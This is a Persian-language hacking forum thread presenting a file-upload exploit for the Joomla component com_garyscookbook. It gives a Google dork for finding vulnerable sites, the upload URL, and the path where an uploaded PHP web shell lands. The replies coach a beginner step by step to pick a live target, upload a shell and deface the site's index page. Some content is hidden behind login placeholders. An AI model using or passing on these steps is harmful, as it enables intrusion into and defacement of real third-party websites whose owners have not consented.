Joomla com_garyscookbook file upload

[DeMoN]

# Exploit Title: joomla com_garyscookbook file upload

# Dork Google: "inurl:com_garyscookbook"

poc:

localhost/path/index.php?option=com_garyscookbook&func=newItem

###########################

upload shell php and go 2 :

localhost/path/components/com_garyscookbook/img_pictures/shell.php

############################

1)

This is the hidden content, please

• ورود
• یا
• ثبت نام

This is the hidden content, please

• ورود
• یا
• ثبت نام

2)

This is the hidden content, please

• ورود
• یا
• ثبت نام

This is the hidden content, please

• ورود
• یا
• ثبت نام

3 )

This is the hidden content, please

• ورود
• یا
• ثبت نام

This is the hidden content, please

• ورود
• یا
• ثبت نام

[DeMoN]

سلام. ببخشید این همه سوال دارم ولی میخوام بدونم نحوه کار با این اکسپلویت چی هست؟ مثلا poc یعنی چی؟ یا اون سه گزینه آخر چین. یا چرا به جای آدرس localhost نوشتید.

 

سلام یک اینکه در تاپیک های آموزشی سوال نپرسید.

 

خوب.این نکته رو هم ذکر کنم که اکسپلویت ها به محض ریپورت پچ میشن و دیگه کاربردی ندارن چه برسه به اینکه مال خیلی وقت پیشه.

 

خوب روش استفاده:

 

ابتدا گوگل دورک رو سرچ میکنید:

 

"inurl:com_garyscookbook"

 

سپس یک تارگت رو انتخاب میکنید و سپس این اکسپلویت رو بهش اضافه میکنید

 

/index.php?option=com_garyscookbook&func=newItem

 

خوب حالا اگر باگ پچ نشده باشه یک آپلودر برای شما میاره و اگر پچ شده باشه چیزی نمیاد.

 

خوب حالا شل ما به مسیر زیر میرود:

 

/components/com_garyscookbook/img_pictures/shell.php

 

----------

 

خوب حالا ما localhost رو به عنوان url سایت در نظر میگیریم(یک مثل فرضی هست)

موفق باشید

[proxy]

در 10 دقیقه قبل، Worst_boy0 گفته است :

یعنی هک نمیشه. همش الکیه

؟

دوست عزیز زیر آموزش کسی سوال نمیپرسه یا به صورت خصوصی سوال کنید یا تو بخش سوالات بپرسید

قدم اول شما اینه که شل آپلود کنید تو سایت وقتی شل رو آپلود کردی میتونی ایندکس سایتو عوض کنی

This is the hidden content, please

• ورود
• یا
• ثبت نام

کارهایی رو که گفتن قدم به قدم انجام بدید و اگر به مشکل خوردید به من پیام بدید

هر باگی یک طول عمری داره و بعد مدتی پچ میشه (یعنی دیگه اون باگ وجود نداره و رفع شده)

ولی آخرش بعضی سایتها هنوز باگ رو دارن ولی باید بگردید تا سایتی که با این روش هک بشه رو پیدا کنید

و باز هم تاکید میکنم در پست آموزشی سوال نپرسید